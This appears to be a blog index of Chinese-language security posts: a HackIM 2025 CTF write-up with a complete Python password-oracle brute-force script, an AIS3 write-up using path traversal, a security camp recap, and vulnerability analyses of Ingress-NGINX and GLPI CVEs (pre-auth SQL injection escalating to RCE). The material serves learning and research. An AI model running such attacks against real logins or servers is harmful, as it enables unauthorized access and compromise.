Nullcon Berlin HackIM 2025 CTF writeup

這次跟社團開了一場 CTF,以下是我解的題目的解法,有些是用 AI 解再回去補知識的,尤其是 Crypto,所以內容可能不一定正確 Web grandmas_notes 網站是一個簡單的登入系統,根據題目檔案觀察,應該只有一個使用者 admin,登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。 問題出在 login.php 裡面裡面有說會回報正確的字元數,所以可以走 oracle 的方式去做比對然後破解,逐個字元爆破 1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!"; exploit.py 1import re 2import sys 3import time 4import random 5from typing import Optional 6import requests 7 8DEFAULT_BASE = "http://52.59.124.14:5015" 9CHARSET = ( 10 "abcdefghijklmnopqrstuvwxyz" 11 "0123456789" 12 "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~" 13 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 14 "'\"" 15) 16 17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE) 18 19def parse_flash_count(html: str) -> Optional[int]: 20 m = FLASH_RGX.search(html) 21 if not m: 22 return None 23 return int(m.group(1)) 24 25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]: 26 resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15) 27 if "Dashboard" in resp.text and "Logged in as" in resp.text: 28 return True, None 29 n = parse_flash_count(resp.text) 30 return False, n 31 32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str: 33 s = requests.Session() 34 prefix = "" 35 last_n = 0 36 print(f"[+] Target: {base} user={username}") 37 print("[+] Starting prefix oracle attack...") 38 for pos in range(max_len): 39 found = None 40 for c in CHARSET: 41 candidate = prefix + c 42 ok, n = attempt(s, base, username, candidate) 43 if ok: 44 print(f"[+] Logged in early with full password: {candidate}") 45 return candidate 46 if n is None: 47 time.sleep(0.2 + random.random() * 0.3) 48 ok2, n2 = attempt(s, base, username, candidate) 49 if ok2: 50 print(f"[+] Logged in early with full password: {candidate}") 51 return candidate 52 n = n2 53 if n is None: 54 print(f" [?] No flash parsed at pos={pos}, char={repr(c)} (continuing)") 55 continue 56 if n > last_n: 57 found = c 58 last_n = n 59 prefix = candidate 60 print(f"[{pos:02d}] ✓ Found next char: {repr(c)} -> prefix now: {prefix!r}") 61 break 62 if found is None: 63 print("[!] No candidate increased the match count.") 64 ok, _ = attempt(s, base, username, prefix) 65 if ok: 66 print(f"[+] Logged in with recovered password: {prefix}") 67 return prefix 68 else: 69 print("[!] Likely the next character is outside the current CHARSET.") 70 print(" Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).") 71 break 72 time.sleep(0.05) 73 return prefix 74 75 76def fetch_flag(base: str, s: requests.Session) -> Optional[str]: 77 r = s.get(f"{base}/dashboard.php", timeout=15) 78 if r.status_code != 200: 79 print(f"[!] Dashboard fetch failed: HTTP {r.status_code}") 80 return None 81 m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE) 82 if not m: 83 return None 84 note = m.group(1) 85 return note.strip() 86 87def main(): 88 base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE 89 username = "admin" 90 s = requests.Session() 91 recovered = recover_password(base, username=username, max_len=32) 92 ok, _ = attempt(s, base, username, recovered) 93 if not ok: 94 print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}") 95 sys.exit(2) 96 print(f"[+] Logged in as {username}. Fetching note...") 97 note = fetch_flag(base, s) 98 if note is None: 99 print("[!] Could not find the note textarea.") 100 sys.exit(3) 101 print("\n=== NOTE ===") 102 print(note) 103 print("============") 104 print("[*] If the note contains the flag, you're done!") 105 106if __name__ == "__main__": 107 main() pwgen source code ...

2025-09-06 · 21 min · 4326 words · YJK

TeamT5 Security Camp 資安培訓營 2025

前言 今年(2025 年)寒假我參加了 TeamT5 舉辦的 Security Camp 資安培訓營,整體來說收穫滿滿,也認識了很多志同道合的朋友,在講心得前先介紹一下這個營隊。 這個營隊是從 2021 年起由 TeamT5 主辦、專為學生打造的資安職場訓練營隊!營隊課程會以實務操作為主,帶領學員一步步解析、體驗資安研究員的日常任務。讓學員能快速學習,了解每個資安工作角色的具體工作內容,進而找到適合自己的位置! 而根據 TeamT5 的介紹五天的 Security Camp 資安培訓營會接觸到以下內容: 追蹤威脅情資的攻擊脈絡:從樣本分析到追查惡意攻擊族群 資安事件調查起手式:在受害環境中查找蛛絲馬跡 與系統底層一日邂逅:從程式逆向到撰寫外掛 漏洞挖掘的深入體驗:漏洞研究員的樸實無華與快樂 而在參加前會有一個小小的徵選,目的是為了找到對資訊安全有基礎能力之在學生,而徵選的前測題目在這一屆有三大類(僅需選擇一題繳交即可),包含: 木馬程式實作 惡意程式分析 韌體漏洞研究 而三個題目中我選擇了第三題韌體漏洞研究,因為我本身對韌體的興趣比較大,過去也有一些相關的經驗,且也想藉此從零開始對一個韌體、漏洞做研究,而這一題就是只給一個韌體檔與 CVE 編號,讓自己去研究如何拆解韌體、定位漏洞、分析漏洞、模擬服務、撰寫 PoC、最後撰寫出一份完整的研究報告,整體的過程就是一個簡化過的韌體漏洞研究流程,但題目也不是到非常難,印象中我只花了大約 1、2 天的時間就完成了實作部分,但是撰寫報告花了比較多時間(畢竟很懶得寫報告 XDD),最後也順利通過了徵選,並在 2025/01/07~2025/01/10 參加了營隊,並且在 2025/01/16 參加了最後的專題發表。 而另外兩個題目就如字面上所述,木馬程式實作就是要自己寫一個木馬程式,而完成的項目在題目說明也有一步一步說明清楚,最後也要繳交出自己的程式碼,具體內容可以參考 Zeze 在成大資安社的頻道的社課教學:錄影1、錄影2、錄影3,而這也是營隊課程中的一部分(後續會再提到一部份)。 而惡意程式分析則是給惡意程式,讓自己去分析這個惡意程式的行為、各種特徵、資訊,並且最後也要撰寫一份分析報告,但個人對於惡意程式分析相對比較沒有興趣,所以就沒有特別去研究這一題的內容,但營隊課程一樣有相關課程。 營隊內容 前面有提到營隊內容會以實務操作為主,帶領學員一步步解析、體驗資安研究員的日常任務,而這次的營隊課程分成 4 天進行,分別是: Day 1:資安事件處理剖析(#Incident Response #Forensic) Day 2:漏洞挖掘的深入體驗(#Vulnerability #IoT Security) Day 3:與系統底層一日邂逅(#Anti-debugging #Reverse #Hooking) Day 4:初探威脅情資的奧秘(#APT #Threat Intelligence) 而在隔一周後會有交流分享會&活動總結等,會需要各組進行專題發表,做為這次營隊的結業,而現在就簡短講一下這四天的課程內容,但基本上有些內容是不太能公開(我也忘記有哪些了,所以就都簡單帶過)。 順帶一提,營隊中的午餐、點心、飲料都是由 TeamT5 幫忙準備的,餐點部分也都還不錯吃,以下為了怕純文字太無聊,所以也會附上餐點的照片 XDD Day 1:資安事件處理剖析 第一天的課程主要是講解資安事件調查、處理的流程與方式,並且透過實際案例分析,讓學員能夠更深入了解在資安事件發生時,應該如何進行調查與取證,並且學習到一些常用的工具與技巧,而有實作到的包含 Linux Server 事件調查、IIS Web Server 事件調查、Windows DC Server 事件調查等,而雖然到現在還是沒有到很熟悉這些流程,因為我覺得包含不少經驗的累積,像是要怎麼去找 root cause、怎麼去分析 log、怎麼去還原事件流程等,但至少有個基本的概念,知道要怎麼去做這些事情。 ...

2025-08-27 · 1 min · 186 words · YJK

AIS3 Pre-exam 2025 writeup

author:YJK ID:YJK Misc Welcome flag: AIS3{Welcome_And_Enjoy_The_CTF_!} 免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag Ramen CTF flag: AIS3{樂山溫泉拉麵:蝦拉麵} 圖片右邊有一張發票條碼沒有被擋 掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店 google 之後發現地址是 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號 此地址在 google map 上是 樂山溫泉拉麵 AIS3 Tiny Server - Web / Misc flag: AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe} 雖然題目敘述說建議 local 先解解看,但我直接開 instance, 點進去會發現是題目簡介網頁,並發現網址給了 index.html 另外題目有給小提示,專注在第一個提示就好 因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺 不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案 ...

2025-07-01 · 11 min · 2304 words · YJK

CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974 分析報告

Overview Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網,他會接受傳入的流量,並且架接到相關 Kubernetes 服務,那 Kubernetes 服務又會基於一組原則把流量轉發到 POD,總結來說 Ingress-NGINX 是做反向代理的 那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller Product Version Ingress-NGINX 1.11.5 以下的版本 Root Cause Analysis Remote NGINX Configuration Injection 處理傳入的請求時,Admissin controller 會基於模板跟 ingress 生成臨時的設定文件,並且會使用 nginx -t 測試是否有效 1// testTemplate checks if the NGINX configuration inside the byte array is valid 2// running the command "nginx -t" using a temporal file. 3func (n *NGINXController) testTemplate(cfg []byte) error { 4... 5 tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern) 6... 7 err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser) 8... 9 out, err := n.command.Test(tmpfile.Name()) 10 11func (nc NginxCommand) Test(cfg string) ([]byte, error) { 12 //nolint:gosec // Ignore G204 error 13 return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput() 14} 不過通常只有 Kubernetes API 可以發送這一種 request,但因為 admission controller 缺乏驗證,所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送 先使用 Kube-Review 創建 Ingress Resource 的 request,並透過 HTTP 直接傳送到 admission controller ...

2025-06-14 · 8 min · 1601 words · YJK

CVE-2025-24799/CVE-2025-24801 分析報告

Overview GLPI 是使用 PHP 開發的資訊資產管理系統,具備豐富的整合性功能,可連接 AD、各類 IT 應用與設備。由於其大量介接與自動化能力,長期以來具備多個潛在攻擊面,這次分析的主要是 CVE-2025-24799/CVE-2025-24801 兩個漏洞 CVE-2025-24799:GLPI Inventory API 中有一個 pre-auth SQL injection 漏洞,可經由 XML 傳入惡意的 device ID,導致 SQL injection,可以進一步控制資料庫。 CVE-2025-24801:透過預設啟用功能與系統機制,可將 SQLi 的漏洞利用擴展從 LFI 到 RCE,達成完整攻擊鏈。 此攻擊鏈由於無須經過身分驗證因此可以由未驗證攻擊者觸發,導致 RCE。 Product Version Product:GLPI Version:10.0.17 Language/Platform:PHP 8.x, Apache/Nginx, MySQL Mode:Inventory Agent API、Calendar、Marketplace、TCPDF Root Cause Analysis Pre-auth SQL Injection (CVE-2025-24799) 漏洞在 GLPI 的 Inventory 原生功能(通常是啟用狀態),不用身分驗證即可觸發,漏洞點在 /src/Agent.php 裡面的 handleAgent() 呼叫到 dbEscapeRecursive() 的地方,首先看一下 handleAgent() /src/Agent.php:handleAgent() 1<?php 2 public function handleAgent($metadata) 3 { 4 /** @var array $CFG_GLPI */ 5 global $CFG_GLPI; 6 7 $deviceid = $metadata['deviceid']; 8 9 $aid = false; 10 if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) { 11 $aid = $this->fields['id']; 12 } 可以發現 handleAgent() 會接收 user input 並且儲存到 $deviceid 等變數,接下來經過 Sanitizer function dbEscapeRecursive() 再傳給 getFromDBByCrit(),接下來看一下 getFromDBByCrit() ...

2025-03-20 · 3 min · 467 words · YJK